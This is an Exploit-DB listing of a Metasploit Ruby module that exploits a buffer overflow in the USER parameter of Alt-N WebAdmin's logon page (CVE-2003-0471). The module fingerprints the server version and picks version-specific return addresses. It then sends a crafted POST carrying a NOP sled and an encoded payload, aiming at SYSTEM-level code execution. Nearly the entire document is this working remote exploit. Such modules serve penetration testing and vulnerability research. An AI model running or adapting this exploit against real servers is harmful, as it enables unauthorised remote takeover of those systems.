标题: Alt-N WebAdmin - USER Buffer Overflow (Metasploit) EDB-ID: 16776 CVE: 2003-0471 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-15 漏洞利用脚本: ##
# $Id: altn_webadmin.rb 8498 2010-02-15 00:48:03Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
   'Description'    => %q{
    Alt-N WebAdmin is prone to a buffer overflow condition. This
    is due to insufficient bounds checking on the USER
    parameter. Successful exploitation could result in code
    execution with SYSTEM level privileges.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 8498 $',
   'References'     =>
    [
     [ 'CVE', '2003-0471' ],
     [ 'OSVDB', '2207' ],
     [ 'BID', '8024'],
     [ 'NSS', '11771'],

    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 830,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Automatic', {}],
     ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
     ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
     ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
     ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 24 2003'))

   register_options([Opt::RPORT(1000)], self.class)
 end

 def exploit

  mytarget = target

  if (target.name =~ /Automatic/)
   res = send_request_raw({
    'uri'   => '/WebAdmin.DLL'
   }, -1)

   if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
    case $1
    when /2\.0\.4/
     mytarget = targets[1]
    when /2\.0\.3/
     mytarget = targets[2]
    when /2\.0\.2/
     mytarget = targets[3]
    when /2\.0\.1/
     mytarget = targets[4]
    else
     print_error("No target found for v#{$1}")
     return
    end
   else
    print_error("No target found")
   end
  end

  user_cook = rand_text_alphanumeric(2)
  post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
  post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

  print_status("Sending request...")
  res = send_request_cgi({
   'uri'          => '/WebAdmin.DLL',
   'query'        => 'View=Logon',
   'method'       => 'POST',
   'content-type' => 'application/x-www-form-urlencoded',
   'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
   'data'         => post_data,
   'headers'      =>
   {
    'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
    'Accept-Language' => 'en',
    'Accept-Charset'  => 'iso-8859-1,*,utf-8'
   }
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16776